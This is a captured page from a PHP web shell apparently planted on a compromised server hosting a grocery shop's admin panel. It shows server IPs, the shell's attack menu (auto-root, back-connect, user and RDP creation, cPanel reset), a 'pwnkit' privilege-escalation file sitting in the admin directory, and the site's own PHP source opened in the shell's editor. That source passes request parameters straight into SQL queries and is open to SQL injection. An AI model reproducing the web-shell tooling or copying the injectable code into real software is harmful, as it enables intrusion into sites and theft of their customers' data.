Linux server.hostify.co.in 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
Apache
: 162.214.74.213 | : 216.73.217.79
438 Domain
8.2.31
orangegroceries
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
orangegroceries /
public_html /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
assest
[ DIR ]
drwxr-xr-x
banner
[ DIR ]
drwxr-xr-x
ckeditor
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
product
[ DIR ]
drwxr-xr-x
aboutuscms.php
2.86
KB
-rw-r--r--
add-ads.php
7.15
KB
-rw-r--r--
add-brand.php
7.43
KB
-rw-r--r--
add-delivery-employee.php
17.68
KB
-rw-r--r--
add-employee.php
17.84
KB
-rw-r--r--
add-product.php
19.45
KB
-rw-r--r--
add-testimonial.php
4.18
KB
-rw-r--r--
admin.php
5.23
KB
-rw-r--r--
ajax_get_subcat.php
1.32
KB
-rw-r--r--
ajax_get_subsub_cat.php
1.31
KB
-rw-r--r--
all_product_delete.php
258
B
-rw-r--r--
assign-page.php
3.66
KB
-rw-r--r--
balance-sheet.php
6.43
KB
-rw-r--r--
banner.php
7.4
KB
-rw-r--r--
category.php
17.53
KB
-rw-r--r--
checkout-ads.php
3.7
KB
-rw-r--r--
checkout.php
23.41
KB
-rw-r--r--
customer-details.php
11.73
KB
-rw-r--r--
customer.php
4.2
KB
-rw-r--r--
dashboard.php
3.31
KB
-rw-r--r--
delete_ads.php
284
B
-rw-r--r--
delete_banner.php
282
B
-rw-r--r--
delete_brand.php
284
B
-rw-r--r--
delete_category.php
1.81
KB
-rw-r--r--
delete_customer.php
291
B
-rw-r--r--
delete_enquiry.php
288
B
-rw-r--r--
delete_ordprd.php
541
B
-rw-r--r--
delete_prd.php
292
B
-rw-r--r--
delete_product.php
1.49
KB
-rw-r--r--
delete_promo.php
290
B
-rw-r--r--
delete_subcategory.php
2.03
KB
-rw-r--r--
delete_subsubcategory.php
2.64
KB
-rw-r--r--
delete_testimonial.php
292
B
-rw-r--r--
department.php
3.71
KB
-rw-r--r--
designation.php
4.8
KB
-rw-r--r--
edit-assign-page.php
3.71
KB
-rw-r--r--
edit-product-details.php
24.8
KB
-rw-r--r--
edit_adstop.php
299
B
-rw-r--r--
edit_banner.php
300
B
-rw-r--r--
edit_brand.php
295
B
-rw-r--r--
edit_category.php
302
B
-rw-r--r--
edit_subcat.php
505
B
-rw-r--r--
edit_subsubcat.php
571
B
-rw-r--r--
enquiry-now.php
2.75
KB
-rw-r--r--
footer_content.php
2.89
KB
-rw-r--r--
get_prod_details.php
308
B
-rw-r--r--
home-ads.php
3.71
KB
-rw-r--r--
index.php
3.16
KB
-rw-r--r--
invoice.php
17.36
KB
-rw-r--r--
privacy.php
2.96
KB
-rw-r--r--
product-details.php
2.71
KB
-rw-r--r--
product-order-details.php
5.62
KB
-rw-r--r--
products.php
9.17
KB
-rw-r--r--
promo-code.php
5.64
KB
-rw-r--r--
pwnkit
10.99
KB
-rw-r--r--
return_policy.php
2.83
KB
-rw-r--r--
shipping_policy.php
2.87
KB
-rw-r--r--
status_update.php
337
B
-rw-r--r--
sub-category.php
20.11
KB
-rw-r--r--
sub-sub-category.php
24.04
KB
-rw-r--r--
term_condition.php
2.83
KB
-rw-r--r--
view-product-details.php
15.13
KB
-rw-r--r--
view-product-order-detail.php
11.2
KB
-rw-r--r--
view_pages.php
3.55
KB
-rw-r--r--
whatsapp-ads.php
3.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view-product-details.php
<?php include("includes/db_config.php"); $id=$_GET["id"]; $sql="select sub_category.sub_category_name,category.cat_name,sub_sub_category.sub_sub_cat_name,product.* from product join category on product.category_id=category.id join sub_category on product.sub_category_id=sub_category.id join sub_sub_category on product.sub_sub_cat_id=sub_sub_category.id where product.id='$id'"; $result = mysqli_query($conn, $sql); if(isset($_POST['add'])) { //var_dump($_POST);exit(); extract($_POST); $id=$_GET["id"]; $sql_prd="INSERT into product_detail(prod_id,total_no_prod_quantity,prod_quantity,prod_quantity_type,prod_discount,prod_price,prod_cross_price) values ('$id','$total_no_prod_qua','$prod_quantity','$prod_quantity_type','$prod_discount','$prod_price','$prod_cross_price')"; $prd_res=mysqli_query($conn, $sql_prd) or die(mysqli_error()); } if(isset($_POST['update'])) { //var_dump($_POST);exit(); extract($_POST); $id=$_POST["prd_id"]; $sql1 ="UPDATE product_detail SET total_no_prod_quantity='$total_no_prod_qua',prod_quantity='$prod_quantity',prod_quantity_type='$prod_quantity_type',prod_discount='$prod_discount',prod_price='$prod_price',prod_cross_price='$prod_cross_price' WHERE id='$id'"; $res=mysqli_query($conn,$sql1) or die(mysqli_error()); } ?> <!DOCTYPE html> <html lang="en-IN"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Orange Groceries</title> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport"> <?php include("includes/css.php")?> </head> <body class="hold-transition skin-blue sidebar-mini"> <div class="wrapper"> <?php include("includes/header.php");?> <?php include("includes/sidebar.php");?> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Dashboard <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="index.php"><i class="fa fa-dashboard"></i> Home</a></li> <li class="active">Dashboard</li> </ol> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-xs-12"> <div class="box box-danger"> <div class="box-header"> <div class="row"> <div class="col-md-4"> <h3 class="box-title">View Product Details</h3> </div> <div class="col-md-1 pull-right"><a href="products.php"><button class="btn btn-flat btn-custom2 btn-block"><i class="fa fa-arrow-left"></i> Back</button></a> </div> </div> </div> <div class="box-body"> <div class="nav-tabs-custom"> <div class="table-responsive"> <table class="table table-bordered"> <thead></thead> <tbody> <?php $j=1; while($res= mysqli_fetch_array($result)) { ?> <tr> <th>Category</th> <td><?php echo $res['cat_name']; ?></td> <th>Sub Category:</th> <td><?php echo $res['sub_category_name']; ?></td> </tr> <tr> <th>Sub-Sub-Category:</th> <td><?php echo $res['sub_sub_cat_name']; ?></td> <th>Product Code:</th> <td><?php echo $res['prod_code']; ?></td> </tr> <tr> <th>Product Name:</th> <td><?php echo $res['prod_name']; ?></td> <th>Brand:</th> <td><?php echo $res['prod_brand']; ?></td> </tr> <tr> <th>Teast Type:</th> <td><?php echo $res['prod_test_type']; ?></td> <th>Discription:</th> <td><?php echo $res['prod_desp']; ?></td> </tr> <tr> <th>Product Features:</th> <td><?php echo $res['product_features']; ?></td> </tr> <tr> <th>Title: </th> <td><?php echo $res['title']; ?></td> <th>Meta Keyword:</th> <td><?php echo $res['meta_keyword']; ?></td> </tr> <tr> <th>Product Imges 1:</th> <td> <a href="" data-toggle="modal" data-target="#myModal"><img src="product/<?php echo $res['prod_img1']; ?>" width="140px"></a></td> <th>Product Imges 2 : </th> <td><a href="" data-toggle="modal" data-target="#myModal"><img src="product/<?php echo $res['prod_img2']; ?>"width="140px"></a></td> </tr> <tr> <th>Product Imges 3:</th> <td> <a href="" data-toggle="modal" data-target="#myModal"><img src="product/<?php echo $res['prod_img3']; ?>"width="140px"></a></td> <th>Product Imges 4 : </th> <td><a href="" data-toggle="modal" data-target="#myModal"><img src="product/<?php echo $res['prod_img4']; ?>" width="140px"></a></td> </tr> <tr> <th>Product Imges 5:</th> <td colspan="3"> <a href="" data-toggle="modal" data-target="#myModal"><img src="product/<?php echo $res['prod_img5']; ?>" width="140px"></a></td> </tr> <?php } ?> <tr> <th colspan="4" style="background-color: #e8d8a7;"><h3 class="text-center mt-10 mb-10"> Product Details</h3></th> </tr> <td class="pull-right" colspan="4"> <button type="button" class="btn btn-md btn-success " data-toggle="modal" data-target="#myModal"> Add </button></td> <?php $sql_prd="select * from product_detail where product_detail.prod_id={$_GET["id"]}"; $res_prd = mysqli_query($conn, $sql_prd); while($res1= mysqli_fetch_array($res_prd)) { ?> <tr> <th colspan="4" style="height:1px; background-color: #e96125;"></th> </tr> <tr> <td class="pull-right" colspan="4"><input type="button" name="edit" value="Edit" id="<?php echo $res1["id"]; ?>" class="btn btn-md btn-success edit_data" /> <a href="javascript:delete_prd_by_ID('<?php echo $res1['id'] ?>');" class="ask"><i class="fa fa-trash-o"></i></a></td> <?php if(!empty($res1['seller_id'])){ ?> <th class="pull-right" colspan="4">Added By Seller</th> <?php } ?> </tr> </tr> <?php if(!empty($res1['seller_id'])){ $seller_id=$res1['seller_id']; $sql_sel="select * from seller_profile where seller_profile.id='".$seller_id."'"; $ress_sel = mysqli_query($conn, $sql_sel); while($res_sel= mysqli_fetch_array($ress_sel)) { ?> <tr> <th>Seller Name:</th> <td><?php echo $res_sel['name']; ?></td> <th>firm name:</th> <td><?php echo $res_sel['firm_name']; ?></td> </tr> <?php } } ?> <tr> <th>Total No. Of Product Quantity:</th> <td><?php echo $res1['total_no_prod_quantity']; ?></td> <th>Product Quantity:</th> <td><?php echo $res1['prod_quantity']; ?></td> </tr> <tr> <th>Product Quantity Type:</th> <td><?php echo $res1['prod_quantity_type']; ?></td> <th>Product Price(Per Piece):</th> <td><?php echo $res1['prod_price']; ?></td> </tr> <tr> <th>Discount </th> <td><?php echo $res1['prod_discount']; ?></td> <th>Product Cross Price(Per Piece):</th> <td><?php echo $res1['prod_cross_price']; ?></td> </tr> <?php } ?> </tbody> <tfoot> <tr> <td colspan="4"><a href="products.php"><button class="btn btn-flat btn-custom2 btn-md"><i class="fa fa-backward"></i> Back</button></a></td> </tr> </tfoot> </table> </div> </div> </div> <!-- /.box-body --> </div> <!-- /.box --> </div> <!-- /.col --> </div> <!-- /.row --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <!-- Modal Category --> <div id="add_data_Modal" class="modal fade"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <h4 class="modal-title">Update Products Details</h4> </div> <div class="modal-body"> <form method="post" name="frm" id="insert_form"> <label>Total No. Of Product Quantity</label> <input type="text" name="total_no_prod_qua" id="total_no_prod_qua" class="form-control" placeholder="Category Name"> </br> <label>Product Quantity</label> <input type="text" name="prod_quantity" id="prod_quantity" class="form-control" placeholder="Category Name"> </br> <label>Product Quantity Type</label> <input type="text" name="prod_quantity_type" id="prod_quantity_type" class="form-control" placeholder="Category Name"> </br> <label>Product MRP</label> <input type="text" name="prod_cross_price" onChange="Adder()" id="prod_cross_price" class="form-control" placeholder="Category Name"> </br> <label>Discount</label> <input type="text" name="prod_discount" onChange="Adder()" id="prod_discount" class="form-control" placeholder="Category Name"> </br> <label>Our Price </label> <input type="text" name="prod_price" id="prod_price" class="form-control" placeholder="Category Name"> </br> <input type="hidden" name="prd_id" id="prd_id" /> <input type="submit" name="update" id="insert" value="Insert" class="btn btn-success" /> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> </div> </div> </div> </div> <!-- ./Modal Category --> <!-- The Modal --> <div class="modal" id="myModal"> <div class="modal-dialog"> <div class="modal-content"> <!-- Modal Header --> <div class="modal-header"> <h4 class="modal-title">Add Products Details</h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <!-- Modal body --> <div class="modal-body"> <form method="post" name="add" id="insert_form"> <label>Total No. Of Product Quantity</label> <input type="text" name="total_no_prod_qua" class="form-control" placeholder="Enter Category No. Of Product Quantity"> </br> <label>Product Quantity</label> <input type="text" name="prod_quantity" id="prod_quantity" class="form-control" placeholder=" Enter Product Quantity"> </br> <label>Product Quantity Type</label> <select name="prod_quantity_type" class="form-control"> <option>Gm</option> <option>ML</option> <option>KG</option> <option>Piece</option> </select> </br> <label>Product MRP</label> <input type="text" name="prod_cross_price" onChange="Addprd()" id="prodcross_price" class="form-control" placeholder="Enter Product MRP"> </br> <label>Discount</label> <input type="text" name="prod_discount" onChange="Addprd()" id="proddiscount" class="form-control" placeholder="Enter Discount"> </br> <label>Our Price </label> <input type="text" name="prod_price" id="prodprice" class="form-control" placeholder="Enter Our Price"> </br> <input type="submit" name="add" id="insert" value="Add" class="btn btn-success" /> </form> </div> </div> </div> </div> <?php include("includes/footer.php");?> <div class="control-sidebar-bg"></div> </div> <?php include("includes/js.php");?> <script language="javascript"> $(document).ready(function(){ $(document).on('click', '.edit_data', function(){ var prd_id = $(this).attr("id"); $.ajax({ url:"get_prod_details.php", method:"POST", data:{prd_id:prd_id}, dataType:"json", success:function(data){ $('#total_no_prod_qua').val(data.total_no_prod_quantity); $('#prod_quantity').val(data.prod_quantity); $('#prod_quantity_type').val(data.prod_quantity_type); // $('#prod_price').val(data.prod_price); $('#prod_discount').val(data.prod_discount); $('#prod_cross_price').val(data.prod_cross_price); $('#prd_id').val(data.id); $('#insert').val("Update"); $('#add_data_Modal').modal('show'); } }); }); }); function Adder() { var a= parseInt(document.frm.prod_cross_price.value); var b = parseInt(document.frm.prod_discount.value); var result=a/100 * b; var disprice=a - result; // alert(result); document.frm.prod_price.value=disprice; } function Addprd() { var a= parseInt(document.add.prodcross_price.value); var b = parseInt(document.add.proddiscount.value); var result=a/100 * b; var disprice=a - result; // alert(result); document.add.prodprice.value=disprice; } function delete_prd_by_ID(id) { if (confirm('Do You Want to Deleting This \nContinue anyway?')) { window.location.href = 'delete_prd.php?id=' + id; } } </script> </body> </html>
Close